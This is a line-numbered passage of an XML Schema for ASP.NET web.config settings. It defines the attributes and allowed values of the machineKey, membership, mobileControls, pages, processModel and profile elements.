2140 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2141 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2142 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2143 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2144 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2145 <xs:attribute name="configSource" type="xs:string" use="optional" />
2146 </xs:complexType>
2147 </xs:element>
2148 <xs:element name="machineKey" vs:help="configuration/system.web/machineKey">
2149 <xs:complexType>
2150 <xs:attribute name="decryption" use="optional">
2151 <xs:simpleType>
2152 <xs:restriction base="xs:string">
2153 <xs:minLength value="1" />
2154 <xs:whiteSpace value="collapse" />
2155 </xs:restriction>
2156 </xs:simpleType>
2157 </xs:attribute>
2158 <xs:attribute name="decryptionKey" use="optional">
2159 <xs:simpleType>
2160 <xs:restriction base="xs:string">
2161 <xs:minLength value="1" />
2162 <xs:whiteSpace value="collapse" />
2163 </xs:restriction>
2164 </xs:simpleType>
2165 </xs:attribute>
2166 <xs:attribute name="validation" use="optional">
2167 <xs:simpleType>
2168 <xs:restriction base="xs:NMTOKEN">
2169 <xs:enumeration value="AES" />
2170 <xs:enumeration value="MD5" />
2171 <xs:enumeration value="SHA1" />
2172 <xs:enumeration value="3DES" />
2173 </xs:restriction>
2174 </xs:simpleType>
2175 </xs:attribute>
2176 <xs:attribute name="validationKey" use="optional">
2177 <xs:simpleType>
2178 <xs:restriction base="xs:string">
2179 <xs:minLength value="1" />
2180 <xs:whiteSpace value="collapse" />
2181 </xs:restriction>
2182 </xs:simpleType>
2183 </xs:attribute>
2184 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2185 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2186 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2187 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2188 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2189 <xs:attribute name="configSource" type="xs:string" use="optional" />
2190 </xs:complexType>
2191 </xs:element>
2192 <xs:element name="membership" vs:help="configuration/system.web/membership">
2193 <xs:complexType>
2194 <xs:choice minOccurs="0" maxOccurs="unbounded">
2195 <xs:element name="providers" vs:help="configuration/system.web/membership/providers">
2196 <xs:complexType>
2197 <xs:choice minOccurs="0" maxOccurs="unbounded">
2198 <xs:element name="add" vs:help="configuration/system.web/membership/providers/add">
2199 <xs:complexType>
2200 <xs:attribute name="name" type="xs:string" use="required" />
2201 <xs:attribute name="type" type="xs:string" use="required" />
2202 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2203 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2204 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2205 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2206 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2207 <xs:anyAttribute processContents="skip" />
2208 </xs:complexType>
2209 </xs:element>
2210 <xs:element name="remove" vs:help="configuration/system.web/membership/providers/remove">
2211 <xs:complexType>
2212 <xs:attribute name="name" type="xs:string" use="required" />
2213 </xs:complexType>
2214 </xs:element>
2215 <xs:element name="clear" vs:help="configuration/system.web/membership/providers/clear">
2216 <xs:complexType>
2217 <!--tag is empty-->
2218 </xs:complexType>
2219 </xs:element>
2220 </xs:choice>
2221 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2222 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2223 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2224 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2225 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2226 </xs:complexType>
2227 </xs:element>
2228 </xs:choice>
2229 <xs:attribute name="defaultProvider" use="optional">
2230 <xs:simpleType>
2231 <xs:restriction base="xs:string">
2232 <xs:minLength value="1" />
2233 </xs:restriction>
2234 </xs:simpleType>
2235 </xs:attribute>
2236 <xs:attribute name="hashAlgorithmType" type="xs:string" use="optional" />
2237 <xs:attribute name="userIsOnlineTimeWindow" use="optional">
2238 <xs:simpleType>
2239 <xs:restriction base="xs:string">
2240 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2241 </xs:restriction>
2242 </xs:simpleType>
2243 </xs:attribute>
2244 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2245 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2246 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2247 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2248 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2249 <xs:attribute name="configSource" type="xs:string" use="optional" />
2250 </xs:complexType>
2251 </xs:element>
2252 <xs:element name="mobileControls" vs:help="configuration/system.web/mobileControls">
2253 <xs:complexType>
2254 <xs:choice minOccurs="0" maxOccurs="unbounded">
2255 <xs:element name="device" vs:help="configuration/system.web/mobileControls/device">
2256 <xs:complexType>
2257 <xs:choice minOccurs="0" maxOccurs="unbounded">
2258 <xs:element name="control" vs:help="configuration/system.web/mobileControls/DeviceElement/control">
2259 <xs:complexType>
2260 <xs:attribute name="adapter" type="xs:string" use="required" />
2261 <xs:attribute name="name" use="required">
2262 <xs:simpleType>
2263 <xs:restriction base="xs:string">
2264 <xs:minLength value="1" />
2265 </xs:restriction>
2266 </xs:simpleType>
2267 </xs:attribute>
2268 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2269 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2270 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2271 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2272 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2273 </xs:complexType>
2274 </xs:element>
2275 <xs:element name="remove" vs:help="configuration/system.web/mobileControls/DeviceElement/remove">
2276 <xs:complexType>
2277 <xs:attribute name="name" use="required">
2278 <xs:simpleType>
2279 <xs:restriction base="xs:string">
2280 <xs:minLength value="1" />
2281 </xs:restriction>
2282 </xs:simpleType>
2283 </xs:attribute>
2284 </xs:complexType>
2285 </xs:element>
2286 <xs:element name="clear" vs:help="configuration/system.web/mobileControls/DeviceElement/clear">
2287 <xs:complexType>
2288 <!--tag is empty-->
2289 </xs:complexType>
2290 </xs:element>
2291 </xs:choice>
2292 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2293 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2294 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2295 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2296 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2297 <xs:attribute name="inheritsFrom" use="optional">
2298 <xs:simpleType>
2299 <xs:restriction base="xs:string">
2300 <xs:minLength value="1" />
2301 </xs:restriction>
2302 </xs:simpleType>
2303 </xs:attribute>
2304 <xs:attribute name="name" use="required">
2305 <xs:simpleType>
2306 <xs:restriction base="xs:string">
2307 <xs:minLength value="1" />
2308 </xs:restriction>
2309 </xs:simpleType>
2310 </xs:attribute>
2311 <xs:attribute name="pageAdapter" type="xs:string" use="optional" />
2312 <xs:attribute name="predicateClass" type="xs:string" use="optional" />
2313 <xs:attribute name="predicateMethod" use="optional">
2314 <xs:simpleType>
2315 <xs:restriction base="xs:string">
2316 <xs:minLength value="1" />
2317 </xs:restriction>
2318 </xs:simpleType>
2319 </xs:attribute>
2320 </xs:complexType>
2321 </xs:element>
2322 <xs:element name="remove" vs:help="configuration/system.web/mobileControls/remove">
2323 <xs:complexType>
2324 <xs:choice minOccurs="0" maxOccurs="unbounded">
2325 <xs:element name="control" vs:help="configuration/system.web/mobileControls/DeviceElement/control">
2326 <xs:complexType>
2327 <xs:attribute name="adapter" type="xs:string" use="required" />
2328 <xs:attribute name="name" use="required">
2329 <xs:simpleType>
2330 <xs:restriction base="xs:string">
2331 <xs:minLength value="1" />
2332 </xs:restriction>
2333 </xs:simpleType>
2334 </xs:attribute>
2335 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2336 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2337 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2338 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2339 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2340 </xs:complexType>
2341 </xs:element>
2342 <xs:element name="remove" vs:help="configuration/system.web/mobileControls/DeviceElement/remove">
2343 <xs:complexType>
2344 <xs:attribute name="name" use="required">
2345 <xs:simpleType>
2346 <xs:restriction base="xs:string">
2347 <xs:minLength value="1" />
2348 </xs:restriction>
2349 </xs:simpleType>
2350 </xs:attribute>
2351 </xs:complexType>
2352 </xs:element>
2353 <xs:element name="clear" vs:help="configuration/system.web/mobileControls/DeviceElement/clear">
2354 <xs:complexType>
2355 <!--tag is empty-->
2356 </xs:complexType>
2357 </xs:element>
2358 </xs:choice>
2359 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2360 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2361 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2362 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2363 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2364 <xs:attribute name="name" use="required">
2365 <xs:simpleType>
2366 <xs:restriction base="xs:string">
2367 <xs:minLength value="1" />
2368 </xs:restriction>
2369 </xs:simpleType>
2370 </xs:attribute>
2371 </xs:complexType>
2372 </xs:element>
2373 <xs:element name="clear" vs:help="configuration/system.web/mobileControls/clear">
2374 <xs:complexType>
2375 <!--tag is empty-->
2376 </xs:complexType>
2377 </xs:element>
2378 </xs:choice>
2379 <xs:attribute name="allowCustomAttributes" type="small_boolean_Type" use="optional" />
2380 <xs:attribute name="cookielessDataDictionaryType" type="xs:string" use="optional" />
2381 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2382 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2383 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2384 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2385 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2386 <xs:attribute name="sessionStateHistorySize" use="optional">
2387 <xs:simpleType>
2388 <xs:restriction base="xs:int">
2389 <xs:minInclusive value="0" />
2390 </xs:restriction>
2391 </xs:simpleType>
2392 </xs:attribute>
2393 <xs:attribute name="configSource" type="xs:string" use="optional" />
2394 </xs:complexType>
2395 </xs:element>
2396 <xs:element name="pages" vs:help="configuration/system.web/pages">
2397 <xs:complexType>
2398 <xs:choice minOccurs="0" maxOccurs="unbounded">
2399 <xs:element name="controls" vs:help="configuration/system.web/pages/controls">
2400 <xs:complexType>
2401 <xs:choice minOccurs="0" maxOccurs="unbounded">
2402 <xs:element name="add" vs:help="configuration/system.web/pages/controls/add">
2403 <xs:complexType>
2404 <xs:attribute name="assembly" type="xs:string" use="optional" />
2405 <xs:attribute name="namespace" type="xs:string" use="optional" />
2406 <xs:attribute name="src" type="xs:string" use="optional" />
2407 <xs:attribute name="tagName" type="xs:string" use="optional" />
2408 <xs:attribute name="tagPrefix" use="required">
2409 <xs:simpleType>
2410 <xs:restriction base="xs:string">
2411 <xs:minLength value="1" />
2412 </xs:restriction>
2413 </xs:simpleType>
2414 </xs:attribute>
2415 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2416 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2417 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2418 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2419 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2420 </xs:complexType>
2421 </xs:element>
2422 </xs:choice>
2423 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2424 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2425 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2426 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2427 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2428 </xs:complexType>
2429 </xs:element>
2430 <xs:element name="namespaces" vs:help="configuration/system.web/pages/namespaces">
2431 <xs:complexType>
2432 <xs:choice minOccurs="0" maxOccurs="unbounded">
2433 <xs:element name="add" vs:help="configuration/system.web/pages/namespaces/add">
2434 <xs:complexType>
2435 <xs:attribute name="namespace" use="required">
2436 <xs:simpleType>
2437 <xs:restriction base="xs:string">
2438 <xs:minLength value="1" />
2439 </xs:restriction>
2440 </xs:simpleType>
2441 </xs:attribute>
2442 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2443 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2444 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2445 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2446 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2447 </xs:complexType>
2448 </xs:element>
2449 <xs:element name="remove" vs:help="configuration/system.web/pages/namespaces/remove">
2450 <xs:complexType>
2451 <xs:attribute name="namespace" use="required">
2452 <xs:simpleType>
2453 <xs:restriction base="xs:string">
2454 <xs:minLength value="1" />
2455 </xs:restriction>
2456 </xs:simpleType>
2457 </xs:attribute>
2458 </xs:complexType>
2459 </xs:element>
2460 <xs:element name="clear" vs:help="configuration/system.web/pages/namespaces/clear">
2461 <xs:complexType>
2462 <!--tag is empty-->
2463 </xs:complexType>
2464 </xs:element>
2465 </xs:choice>
2466 <xs:attribute name="autoImportVBNamespace" type="small_boolean_Type" use="optional" />
2467 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2468 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2469 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2470 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2471 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2472 </xs:complexType>
2473 </xs:element>
2474 <xs:element name="tagMapping" vs:help="configuration/system.web/pages/tagMapping">
2475 <xs:complexType>
2476 <xs:choice minOccurs="0" maxOccurs="unbounded">
2477 <xs:element name="add" vs:help="configuration/system.web/pages/tagMapping/add">
2478 <xs:complexType>
2479 <xs:attribute name="mappedTagType" use="optional">
2480 <xs:simpleType>
2481 <xs:restriction base="xs:string">
2482 <xs:minLength value="1" />
2483 </xs:restriction>
2484 </xs:simpleType>
2485 </xs:attribute>
2486 <xs:attribute name="tagType" use="required">
2487 <xs:simpleType>
2488 <xs:restriction base="xs:string">
2489 <xs:minLength value="1" />
2490 </xs:restriction>
2491 </xs:simpleType>
2492 </xs:attribute>
2493 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2494 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2495 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2496 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2497 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2498 </xs:complexType>
2499 </xs:element>
2500 <xs:element name="remove" vs:help="configuration/system.web/pages/tagMapping/remove">
2501 <xs:complexType>
2502 <xs:attribute name="tagType" use="required">
2503 <xs:simpleType>
2504 <xs:restriction base="xs:string">
2505 <xs:minLength value="1" />
2506 </xs:restriction>
2507 </xs:simpleType>
2508 </xs:attribute>
2509 </xs:complexType>
2510 </xs:element>
2511 <xs:element name="clear" vs:help="configuration/system.web/pages/tagMapping/clear">
2512 <xs:complexType>
2513 <!--tag is empty-->
2514 </xs:complexType>
2515 </xs:element>
2516 </xs:choice>
2517 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2518 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2519 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2520 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2521 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2522 </xs:complexType>
2523 </xs:element>
2524 </xs:choice>
2525 <xs:attribute name="asyncTimeout" use="optional">
2526 <xs:simpleType>
2527 <xs:restriction base="xs:string">
2528 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2529 </xs:restriction>
2530 </xs:simpleType>
2531 </xs:attribute>
2532 <xs:attribute name="autoEventWireup" type="small_boolean_Type" use="optional" />
2533 <xs:attribute name="buffer" type="small_boolean_Type" use="optional" />
2534 <xs:attribute name="compilationMode" use="optional">
2535 <xs:simpleType>
2536 <xs:restriction base="xs:NMTOKEN">
2537 <xs:enumeration value="Always" />
2538 <xs:enumeration value="Auto" />
2539 <xs:enumeration value="Never" />
2540 </xs:restriction>
2541 </xs:simpleType>
2542 </xs:attribute>
2543 <xs:attribute name="enableEventValidation" type="small_boolean_Type" use="optional" />
2544 <xs:attribute name="enableSessionState" use="optional">
2545 <xs:simpleType>
2546 <xs:restriction base="xs:NMTOKEN">
2547 <xs:enumeration value="false" />
2548 <xs:enumeration value="ReadOnly" />
2549 <xs:enumeration value="true" />
2550 </xs:restriction>
2551 </xs:simpleType>
2552 </xs:attribute>
2553 <xs:attribute name="enableViewState" type="small_boolean_Type" use="optional" />
2554 <xs:attribute name="enableViewStateMac" type="small_boolean_Type" use="optional" />
2555 <xs:attribute name="maintainScrollPositionOnPostBack" type="small_boolean_Type" use="optional" />
2556 <xs:attribute name="masterPageFile" type="xs:string" use="optional" />
2557 <xs:attribute name="maxPageStateFieldLength" type="xs:int" use="optional" />
2558 <xs:attribute name="pageBaseType" type="xs:string" use="optional" />
2559 <xs:attribute name="pageParserFilterType" type="xs:string" use="optional" />
2560 <xs:attribute name="smartNavigation" type="small_boolean_Type" use="optional" />
2561 <xs:attribute name="styleSheetTheme" type="xs:string" use="optional" />
2562 <xs:attribute name="theme" type="xs:string" use="optional" />
2563 <xs:attribute name="userControlBaseType" type="xs:string" use="optional" />
2564 <xs:attribute name="validateRequest" type="small_boolean_Type" use="optional" />
2565 <xs:attribute name="viewStateEncryptionMode" use="optional">
2566 <xs:simpleType>
2567 <xs:restriction base="xs:NMTOKEN">
2568 <xs:enumeration value="Always" />
2569 <xs:enumeration value="Auto" />
2570 <xs:enumeration value="Never" />
2571 </xs:restriction>
2572 </xs:simpleType>
2573 </xs:attribute>
2574 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2575 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2576 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2577 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2578 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2579 <xs:attribute name="configSource" type="xs:string" use="optional" />
2580 </xs:complexType>
2581 </xs:element>
2582 <xs:element name="processModel" vs:help="configuration/system.web/processModel">
2583 <xs:complexType>
2584 <xs:attribute name="autoConfig" type="small_boolean_Type" use="optional" />
2585 <xs:attribute name="clientConnectedCheck" type="xs:string" use="optional" />
2586 <xs:attribute name="comAuthenticationLevel" use="optional">
2587 <xs:simpleType>
2588 <xs:restriction base="xs:NMTOKEN">
2589 <xs:enumeration value="Call" />
2590 <xs:enumeration value="Connect" />
2591 <xs:enumeration value="Default" />
2592 <xs:enumeration value="None" />
2593 <xs:enumeration value="Pkt" />
2594 <xs:enumeration value="PktIntegrity" />
2595 <xs:enumeration value="PktPrivacy" />
2596 </xs:restriction>
2597 </xs:simpleType>
2598 </xs:attribute>
2599 <xs:attribute name="comImpersonationLevel" use="optional">
2600 <xs:simpleType>
2601 <xs:restriction base="xs:NMTOKEN">
2602 <xs:enumeration value="Anonymous" />
2603 <xs:enumeration value="Default" />
2604 <xs:enumeration value="Delegate" />
2605 <xs:enumeration value="Identify" />
2606 <xs:enumeration value="Impersonate" />
2607 </xs:restriction>
2608 </xs:simpleType>
2609 </xs:attribute>
2610 <xs:attribute name="cpuMask" type="xs:int" use="optional" />
2611 <xs:attribute name="enable" type="small_boolean_Type" use="optional" />
2612 <xs:attribute name="idleTimeout" type="xs:string" use="optional" />
2613 <xs:attribute name="logLevel" use="optional">
2614 <xs:simpleType>
2615 <xs:restriction base="xs:NMTOKEN">
2616 <xs:enumeration value="All" />
2617 <xs:enumeration value="Errors" />
2618 <xs:enumeration value="None" />
2619 </xs:restriction>
2620 </xs:simpleType>
2621 </xs:attribute>
2622 <xs:attribute name="maxAppDomains" use="optional">
2623 <xs:simpleType>
2624 <xs:restriction base="xs:int">
2625 <xs:minInclusive value="1" />
2626 <xs:maxInclusive value="2147483646" />
2627 </xs:restriction>
2628 </xs:simpleType>
2629 </xs:attribute>
2630 <xs:attribute name="maxIoThreads" use="optional">
2631 <xs:simpleType>
2632 <xs:restriction base="xs:int">
2633 <xs:minInclusive value="1" />
2634 <xs:maxInclusive value="2147483646" />
2635 </xs:restriction>
2636 </xs:simpleType>
2637 </xs:attribute>
2638 <xs:attribute name="maxWorkerThreads" use="optional">
2639 <xs:simpleType>
2640 <xs:restriction base="xs:int">
2641 <xs:minInclusive value="1" />
2642 <xs:maxInclusive value="2147483646" />
2643 </xs:restriction>
2644 </xs:simpleType>
2645 </xs:attribute>
2646 <xs:attribute name="memoryLimit" type="xs:int" use="optional" />
2647 <xs:attribute name="minIoThreads" use="optional">
2648 <xs:simpleType>
2649 <xs:restriction base="xs:int">
2650 <xs:minInclusive value="1" />
2651 <xs:maxInclusive value="2147483646" />
2652 </xs:restriction>
2653 </xs:simpleType>
2654 </xs:attribute>
2655 <xs:attribute name="minWorkerThreads" use="optional">
2656 <xs:simpleType>
2657 <xs:restriction base="xs:int">
2658 <xs:minInclusive value="1" />
2659 <xs:maxInclusive value="2147483646" />
2660 </xs:restriction>
2661 </xs:simpleType>
2662 </xs:attribute>
2663 <xs:attribute name="password" type="xs:string" use="optional" />
2664 <xs:attribute name="pingFrequency" type="xs:string" use="optional" />
2665 <xs:attribute name="pingTimeout" type="xs:string" use="optional" />
2666 <xs:attribute name="requestLimit" use="optional">
2667 <xs:simpleType>
2668 <xs:union memberTypes="xs:int Infinite">
2669 <xs:simpleType>
2670 <xs:restriction base="xs:int">
2671 <xs:minInclusive value="0" />
2672 </xs:restriction>
2673 </xs:simpleType>
2674 </xs:union>
2675 </xs:simpleType>
2676 </xs:attribute>
2677 <xs:attribute name="requestQueueLimit" use="optional">
2678 <xs:simpleType>
2679 <xs:union memberTypes="xs:int Infinite">
2680 <xs:simpleType>
2681 <xs:restriction base="xs:int">
2682 <xs:minInclusive value="0" />
2683 </xs:restriction>
2684 </xs:simpleType>
2685 </xs:union>
2686 </xs:simpleType>
2687 </xs:attribute>
2688 <xs:attribute name="responseDeadlockInterval" use="optional">
2689 <xs:simpleType>
2690 <xs:restriction base="xs:string">
2691 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2692 </xs:restriction>
2693 </xs:simpleType>
2694 </xs:attribute>
2695 <xs:attribute name="responseRestartDeadlockInterval" type="xs:string" use="optional" />
2696 <xs:attribute name="restartQueueLimit" use="optional">
2697 <xs:simpleType>
2698 <xs:union memberTypes="xs:int Infinite">
2699 <xs:simpleType>
2700 <xs:restriction base="xs:int">
2701 <xs:minInclusive value="0" />
2702 </xs:restriction>
2703 </xs:simpleType>
2704 </xs:union>
2705 </xs:simpleType>
2706 </xs:attribute>
2707 <xs:attribute name="serverErrorMessageFile" type="xs:string" use="optional" />
2708 <xs:attribute name="shutdownTimeout" use="optional">
2709 <xs:simpleType>
2710 <xs:restriction base="xs:string">
2711 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2712 </xs:restriction>
2713 </xs:simpleType>
2714 </xs:attribute>
2715 <xs:attribute name="timeout" type="xs:string" use="optional" />
2716 <xs:attribute name="userName" type="xs:string" use="optional" />
2717 <xs:attribute name="webGarden" type="small_boolean_Type" use="optional" />
2718 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2719 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2720 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2721 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2722 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2723 <xs:attribute name="configSource" type="xs:string" use="optional" />
2724 </xs:complexType>
2725 </xs:element>
2726 <xs:element name="profile" vs:help="configuration/system.web/profile">
2727 <xs:complexType>
2728 <xs:choice minOccurs="0" maxOccurs="unbounded">
2729 <xs:element name="properties" vs:help="configuration/system.web/profile/properties">
2730 <xs:complexType>
2731 <xs:choice minOccurs="0" maxOccurs="unbounded">
2732 <xs:element name="add" vs:help="configuration/system.web/profile/properties/add">
2733 <xs:complexType>
2734 <xs:attribute name="allowAnonymous" type="small_boolean_Type" use="optional" />
2735 <xs:attribute name="customProviderData" type="xs:string" use="optional" />
2736 <xs:attribute name="defaultValue" type="xs:string" use="optional" />
2737 <xs:attribute name="name" type="xs:string" use="required" />
2738 <xs:attribute name="provider" type="xs:string" use="optional" />
2739 <xs:attribute name="readOnly" type="small_boolean_Type" use="optional" />
2740 <xs:attribute name="serializeAs" use="optional">
2741 <xs:simpleType>
2742 <xs:restriction base="xs:NMTOKEN">
2743 <xs:enumeration value="Binary" />
2744 <xs:enumeration value="ProviderSpecific" />
2745 <xs:enumeration value="String" />
2746 <xs:enumeration value="Xml" />
2747 </xs:restriction>
2748 </xs:simpleType>
2749 </xs:attribute>
2750 <xs:attribute name="type" type="xs:string" use="optional" />
2751 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2752 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2753 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2754 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2755 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2756 </xs:complexType>
2757 </xs:element>
2758 <xs:element name="remove" vs:help="configuration/system.web/profile/properties/remove">
2759 <xs:complexType>
2760 <xs:attribute name="name" type="xs:string" use="required" />
2761 </xs:complexType>
2762 </xs:element>
2763 <xs:element name="clear" vs:help="configuration/system.web/profile/properties/clear">
2764 <xs:complexType>
2765 <!--tag is empty-->
2766 </xs:complexType>
2767 </xs:element>
2768 <xs:element name="group" vs:help="configuration/system.web/profile/properties/group/group">
2769 <xs:complexType>
2770 <xs:choice minOccurs="0" maxOccurs="unbounded">
2771 <xs:element name="add" vs:help="configuration/system.web/profile/properties/group/ProfileGroupSettings/add">
2772 <xs:complexType>
2773 <xs:attribute name="allowAnonymous" type="small_boolean_Type" use="optional" />
2774 <xs:attribute name="customProviderData" type="xs:string" use="optional" />
2775 <xs:attribute name="defaultValue" type="xs:string" use="optional" />
2776 <xs:attribute name="name" type="xs:string" use="required" />
2777 <xs:attribute name="provider" type="xs:string" use="optional" />
2778 <xs:attribute name="readOnly" type="small_boolean_Type" use="optional" />
2779 <xs:attribute name="serializeAs" use="optional">
2780 <xs:simpleType>
2781 <xs:restriction base="xs:NMTOKEN">
2782 <xs:enumeration value="Binary" />
2783 <xs:enumeration value="ProviderSpecific" />
2784 <xs:enumeration value="String" />
2785 <xs:enumeration value="Xml" />
2786 </xs:restriction>
2787 </xs:simpleType>
2788 </xs:attribute>
2789 <xs:attribute name="type" type="xs:string" use="optional" />
2790 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2791 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2792 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2793 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2794 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2795 </xs:complexType>
2796 </xs:element>
2797 <xs:element name="remove" vs:help="configuration/system.web/profile/properties/group/ProfileGroupSettings/remove">
2798 <xs:complexType>
2799 <xs:attribute name="name" type="xs:string" use="required" />
2800 </xs:complexType>
2801 </xs:element>
2802 <xs:element name="clear" vs:help="configuration/system.web/profile/properties/group/ProfileGroupSettings/clear">
2803 <xs:complexType>
2804 <!--tag is empty-->
2805 </xs:complexType>
2806 </xs:element>
2807 </xs:choice>
2808 <xs:attribute name="name" type="xs:string" use="required" />
2809 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2810 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2811 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2812 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2813 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2814 </xs:complexType>
2815 </xs:element>
2816 </xs:choice>
2817 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2818 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2819 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2820 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2821 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2822 </xs:complexType>
2823 </xs:element>
2824 <xs:element name="providers" vs:help="configuration/system.web/profile/providers">
2825 <xs:complexType>
2826 <xs:choice minOccurs="0" maxOccurs="unbounded">
2827 <xs:element name="add" vs:help="configuration/system.web/profile/providers/add">
2828 <xs:complexType>
2829 <xs:attribute name="name" type="xs:string" use="required" />
2830 <xs:attribute name="type" type="xs:string" use="required" />
2831 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2832 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2833 <xs:attribute name="lockElements" type="xs:string" use="optional" />
